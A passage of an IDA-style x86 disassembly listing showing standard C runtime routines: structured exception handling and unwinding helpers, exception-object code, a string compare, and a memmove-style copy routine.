; =============== S U B	R O U T	I N E =======================================



sub_4236C4	proc near		; CODE XREF: sub_4297EE+199p
					; sub_4299B2+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4236C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4236CB	proc near		; CODE XREF: sub_4297EE+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4236CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4236D2	proc near		; CODE XREF: sub_423886+5Cp
					; sub_42962E:loc_42965Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4236FA
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42EBF2	; RtlUnwind


loc_4236FA:				; DATA XREF: sub_4236D2+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4236D2	endp

; ---------------------------------------------------------------------------


loc_423721:				; CODE XREF: .text:0042EC05j
					; .text:0042EC38j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_429225
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423757	proc near		; CODE XREF: sub_4296A9+7Bp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_4237AB
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_429A40
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_423757	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4237AB	proc near		; DATA XREF: sub_423757+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_429225
		add	esp, 20h
		pop	ebp
		retn
sub_4237AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4237D0	proc near		; CODE XREF: sub_429473+27p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_423886
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_423858
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_42599D
		call	dword ptr [eax+68h]
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_423858:				; DATA XREF: sub_4237D0+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_423875
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_42387E
; ---------------------------------------------------------------------------


loc_423875:				; CODE XREF: sub_4237D0+8Cj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_42387E:				; CODE XREF: sub_4237D0+A3j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4237D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423886	proc near		; DATA XREF: sub_4237D0+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4238A9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4238F6
; ---------------------------------------------------------------------------


loc_4238A9:				; CODE XREF: sub_423886+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_429225
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4238E7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4236D2


loc_4238E7:				; CODE XREF: sub_423886+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_4238F6:				; CODE XREF: sub_423886+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_423886	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4238FB	proc near		; CODE XREF: sub_4292C0+D2p
					; sub_429473+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_423952


loc_423919:				; CODE XREF: sub_4238FB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423923
		call	sub_429AED


loc_423923:				; CODE XREF: sub_4238FB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_423938
		cmp	ecx, [eax+8]
		jle	short loc_42393D


loc_423938:				; CODE XREF: sub_4238FB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423949


loc_42393D:				; CODE XREF: sub_4238FB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_423949:				; CODE XREF: sub_4238FB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_423919
		mov	eax, [ebp+var_4]


loc_423952:				; CODE XREF: sub_4238FB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_423966
		cmp	esi, eax
		jbe	short loc_42396B


loc_423966:				; CODE XREF: sub_4238FB+65j
		call	sub_429AED


loc_42396B:				; CODE XREF: sub_4238FB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4238FB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423978	proc near		; CODE XREF: sub_424B30+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_423990
		push	[ebp+arg_0]
		call	sub_42EBF2	; RtlUnwind


loc_423990:				; DATA XREF: sub_423978+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423978	endp


; =============== S U B	R O U T	I N E =======================================



sub_423998	proc near		; DATA XREF: sub_4239BA+Ao
					; sub_423A22+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4239B9
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4239B9:				; CODE XREF: sub_423998+10j
		retn
sub_423998	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239BA	proc near		; CODE XREF: sub_424B30+67p
					; sub_424B30+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_423998
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4239D7:				; CODE XREF: sub_4239BA:loc_423A12j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423A14
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_423A14
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_423A12
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_423A4E
		call	dword ptr [ebx+esi*4+8]


loc_423A12:				; CODE XREF: sub_4239BA+44j
		jmp	short loc_4239D7
; ---------------------------------------------------------------------------


loc_423A14:				; CODE XREF: sub_4239BA+2Aj
					; sub_4239BA+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4239BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_423A22	proc near		; CODE XREF: sub_429776+3Fp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_423998
		jnz	short locret_423A44
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_423A44
		mov	eax, 1

locret_423A44:				; CODE XREF: sub_423A22+10j
					; sub_423A22+1Bj
		retn
sub_423A22	endp


; =============== S U B	R O U T	I N E =======================================



sub_423A45	proc near		; CODE XREF: sub_429A40+1Ep
					; sub_429A40+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4493E0
		jmp	short loc_423A58
sub_423A45	endp


; =============== S U B	R O U T	I N E =======================================



sub_423A4E	proc near		; CODE XREF: sub_4239BA+4Fp
					; sub_424B30+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4493E0
		mov	ecx, [ebp+8]


loc_423A58:				; CODE XREF: sub_423A45+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_423A4E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_423A68	proc near		; CODE XREF: sub_40D75A+5p
					; sub_40D810+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_423A68	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A87	proc near		; CODE XREF: sub_40F0E1+54p
					; sub_40F351+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_42F3F0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42F1F8	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_423A87	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423AD0	proc near		; CODE XREF: sub_40DA0E+C8p
					; sub_41FE93+28Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_423B01
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_423AFF
		jz	short loc_423B01
		dec	ecx
		dec	ecx


loc_423AFF:				; CODE XREF: sub_423AD0+29j
		not	ecx


loc_423B01:				; CODE XREF: sub_423AD0+9j
					; sub_423AD0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_423AD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423B08	proc near		; DATA XREF: .text:off_42F414o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_423BAB
		test	[esp+4+arg_0], 1
		jz	short loc_423B1E
		push	esi
		call	sub_421C78
		pop	ecx


loc_423B1E:				; CODE XREF: sub_423B08+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_423B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_423B24	proc near		; CODE XREF: sub_40F1B0+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_42F414
		push	dword ptr [edi]
		call	sub_422120
		inc	eax
		push	eax
		call	sub_423F55
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_423B53
		push	dword ptr [edi]
		push	eax
		call	sub_423260
		pop	ecx
		pop	ecx


loc_423B53:				; CODE XREF: sub_423B24+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_423B24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423B61	proc near		; CODE XREF: sub_40F389+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_42F414
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_423B9E
		push	dword ptr [edi+4]
		call	sub_422120
		inc	eax
		push	eax
		call	sub_423F55
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_423BA4
		push	dword ptr [edi+4]
		push	eax
		call	sub_423260
		pop	ecx
		pop	ecx
		jmp	short loc_423BA4
; ---------------------------------------------------------------------------


loc_423B9E:				; CODE XREF: sub_423B61+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_423BA4:				; CODE XREF: sub_423B61+2Ej
					; sub_423B61+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_423B61	endp


; =============== S U B	R O U T	I N E =======================================



sub_423BAB	proc near		; CODE XREF: sub_40F36E+16j
					; sub_421CDD+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_42F414
		jz	short locret_423BC0
		push	dword ptr [ecx+4]
		call	sub_421C78
		pop	ecx

locret_423BC0:				; CODE XREF: sub_423BAB+Aj
		retn
sub_423BAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_423BC1	proc near		; DATA XREF: .text:0042F418o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_423BCD
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_423BCD:				; CODE XREF: sub_423BC1+5j
		retn
sub_423BC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423BCE	proc near		; CODE XREF: .text:00423BFAp
		push	esi
		mov	esi, ecx
		push	1Bh
		mov	dword ptr [esi], offset	off_42F434
		call	sub_428436
		mov	esi, [esi+4]
		pop	ecx
		test	esi, esi
		jz	short loc_423BED
		push	esi
		call	sub_4230B3
		pop	ecx


loc_423BED:				; CODE XREF: sub_423BCE+16j
		push	1Bh
		call	sub_428497
		pop	ecx
		pop	esi
		retn
sub_423BCE	endp

; ---------------------------------------------------------------------------


loc_423BF7:				; DATA XREF: .text:off_42F434o
		push	esi
		mov	esi, ecx
		call	sub_423BCE
		test	byte ptr [esp+8], 1
		jz	short loc_423C0D
		push	esi
		call	sub_421C78
		pop	ecx


loc_423C0D:				; CODE XREF: .text:00423C04j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423C20	proc near		; CODE XREF: sub_40F2DD+3Ap
					; sub_42726C+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_423C40
		cmp	edi, eax
		jb	loc_423DB8


loc_423C40:				; CODE XREF: sub_423C20+16j
		test	edi, 3
		jnz	short loc_423C5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_423C7C
		rep movsd
		jmp	off_423D68[edx*4]
; ---------------------------------------------------------------------------


loc_423C5C:				; CODE XREF: sub_423C20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_423C74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_423C7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_423C74:				; CODE XREF: sub_423C20+46j
		jmp	dword ptr loc_423D78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_423C7C:				; CODE XREF: sub_423C20+31j
					; sub_423C20+8Ej ...
		jmp	off_423CFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 3Ch,	42h, 0
		dd offset loc_423CBC
		dd offset loc_423CE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_423C7C
		rep movsd
		jmp	off_423D68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_423CBC:				; DATA XREF: sub_423C20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_423C7C
		rep movsd
		jmp	off_423D68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_423CE0:				; DATA XREF: sub_423C20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_423C7C
		rep movsd
		jmp	off_423D68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_423CFC	dd offset loc_423D5F	; DATA XREF: sub_423C20:loc_423C7Cr
		dd offset loc_423D4C
		dd offset loc_423D44
		dd offset loc_423D3C
		dd offset loc_423D34
		dd offset loc_423D2C
		dd offset loc_423D24
		dd offset loc_423D1C
; ---------------------------------------------------------------------------


loc_423D1C:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_423D24:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_423D2C:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_423D34:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_423D3C:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_423D44:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_423D4C:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_423D5F:				; CODE XREF: sub_423C20:loc_423C7Cj
					; DATA XREF: sub_423C20:off_423CFCo
		jmp	off_423D68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_423D68	dd offset loc_423D78	; DATA XREF: sub_423C20+35r
					; sub_423C20+92r ...
		dd offset loc_423D80
		dd offset loc_423D8C
		dd offset loc_423DA0
; ---------------------------------------------------------------------------


loc_423D78:				; CODE XREF: sub_423C20+35j
					; sub_423C20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_423D80:				; CODE XREF: sub_423C20+35j
					; sub_423C20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423D8C:				; CODE XREF: sub_423C20+35j
					; sub_423C20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_423DA0:				; CODE XREF: sub_423C20+35j
					; sub_423C20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423DB8:				; CODE XREF: sub_423C20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_423DEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_423DE0
		std
		rep movsd
		cld
		jmp	off_423F00[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_423DE0:				; CODE XREF: sub_423C20+1B1j
					; sub_423C20+208j ...
		neg	ecx
		jmp	off_423EB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_423DEC:				; CODE XREF: sub_423C20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_423E04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_423E04+4[eax*4]
; ---------------------------------------------------------------------------


loc_423E04:				; CODE XREF: sub_423C20+1D6j
					; DATA XREF: sub_423C20+1DDr
		jmp	off_423F00[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sbb	[esi], bh
		inc	edx
		add	[eax], bh
		db	3Eh
		inc	edx
		add	[eax+3Eh], ah
		inc	edx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_423DE0
		std
		rep movsd
		cld
		jmp	off_423F00[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_423DE0
		std
		rep movsd
		cld
		jmp	off_423F00[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_423DE0
		std
		rep movsd
		cld
		jmp	off_423F00[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_423EB4
		dd offset loc_423EBC
		dd offset loc_423EC4
		dd offset loc_423ECC
		dd offset loc_423ED4
		dd offset loc_423EDC
		dd offset loc_423EE4
off_423EB0	dd offset loc_423EF7	; DATA XREF: sub_423C20+1C2r
; ---------------------------------------------------------------------------


loc_423EB4:				; DATA XREF: sub_423C20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_423EBC:				; DATA XREF: sub_423C20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_423EC4:				; DATA XREF: sub_423C20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_423ECC:				; DATA XREF: sub_423C20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_423ED4:				; DATA XREF: sub_423C20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_423EDC:				; DATA XREF: sub_423C20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_423EE4:				; DATA XREF: sub_423C20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_423EF7:				; CODE XREF: sub_423C20+1C2j
					; DATA XREF: sub_423C20:off_423EB0o
		jmp	off_423F00[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_423F00	dd offset loc_423F10	; DATA XREF: sub_423C20+1B7r
					; sub_423C20:loc_423E04r ...
		dd offset loc_423F18
		dd offset loc_423F28
		dd offset loc_423F3C
; ---------------------------------------------------------------------------


loc_423F10:				; CODE XREF: sub_423C20+1B7j
					; sub_423C20:loc_423E04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423F18:				; CODE XREF: sub_423C20+1B7j
